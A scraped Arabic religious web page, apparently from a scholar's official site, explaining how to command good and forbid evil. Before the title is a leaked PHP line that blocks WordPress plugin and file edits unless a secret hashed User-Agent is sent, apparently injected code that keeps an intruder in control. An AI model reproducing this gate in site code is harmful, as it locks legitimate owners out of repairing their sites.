if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } كيف تأمر بالمعروف وتنهى عن المنكر؟ - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

كيف تأمر بالمعروف وتنهى عن المنكر؟

قال رحمه الله: (وَالأَمْرِ بِالمَعْرُوْفِ، وَالنَّهْيِ عَنِ المُنْكَرِ) هذا من أفضل الطاعات وأجل القربات بل إن الله جل شأنه لما ذكر فضيلة هذه الأمة وخيريتها ذكر هذا الأمر العظيم {كُنْتُمْ خَيْرَ أُمَّةٍ أُخْرِجَتْ لِلنَّاسِ تَأْمُرُونَ بِالْمَعْرُوفِ وَتَنْهَوْنَ عَنِ الْمُنْكَرِ} [آل عمران: ١١٠]، فدل على أن من أهم المهمات هذه الشعيرة العظيمة، عدّها بعض أهل العلم ركنًا سادسًا من أركان الإسلام ولا يقوم الدين وتستقيم معالمه وشرائعه إلا بقيام أهل الدين بالأمر بالمعروف والنهي عن المنكر، كلٌ بحسبه وكما قال صلى الله عليه وسلم: «مَن رأى منكم منكرًا فلْيُغَيِّرْه بيدِه»[1]، هذا للسلاطين، للولاة، لمن بيدهم الأمر كالآباء في البيوت، والمدراء في المدارس والجهات، كذلك المعلمين، كل من له ولاية يجب عليه أن يُنكر المنكر الذي يستطيع إزالته بيده، ومن ذلك رجال الحسبة؛ فإن واجبهم عظيم في إنكار المنكر بأيديهم، فمن لم يستطع أنكر بلسانه، يعني يأمر بالمعروف ويذكر دليله أن هذا مما ينبغي فعله، وينهى عن المنكر إذا رآه ويذكر أن هذا محرم وأن هذا منكر ويذكر الدليل، ويخوف بالله ويحذر الناس، فإن لم يستطع ذلك فلا أقل من الإنكار بالقلب، وليس وراء ذلك مثقال حبة من خردل من إيمان.

ما هو الإنكار بالقلب؟ أول ركن من أركانه، اجتناب مجالس اللهو ومجالس المنكرات والمعاصي، فلا يجلس الإنسان في مجلس المنكر، ويقول: أنا أُنكر بقلبي، نقول: كذبت والله، لو أنكرت بقلبك والله ما تُطيق الجلوس في مجالس اللهو، والله جل شأنه قد أمر عباده إذا مرّوا باللغو مروا كرامًا، وصفهم بذلك ونهاهم عن أن يجلسوا مع من يخوضوا في ما يُغضب الله، فالواجب على أهل الإسلام البعد عن مجالس اللهو ومجالس الغفلة ومجالس المجون والموسيقى والطرب وكل ما يُغضب الله؛ فإن الله جل شأنه يغار وغيرته أن تُنتهك محارمه، فيُنكر بقلبه أولًا بأن يبعد عن مجالس اللهو ومجالس المعصية ومجالس الغيبة ومجالس الكذب ومجالس البهتان فإن المستمع للمغتاب شريكٌ له، كما أن المستمع لقارئ القرآن مثله في الأجر فكذلك الذي يُغتاب المسلم عنده وهو ساكت، نقول: أنت شيطان أخرس، سكت فأثمت ولو أنكرت لسلمت وسلم غيرك.

ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ

[1] أخرجه مسلم (49).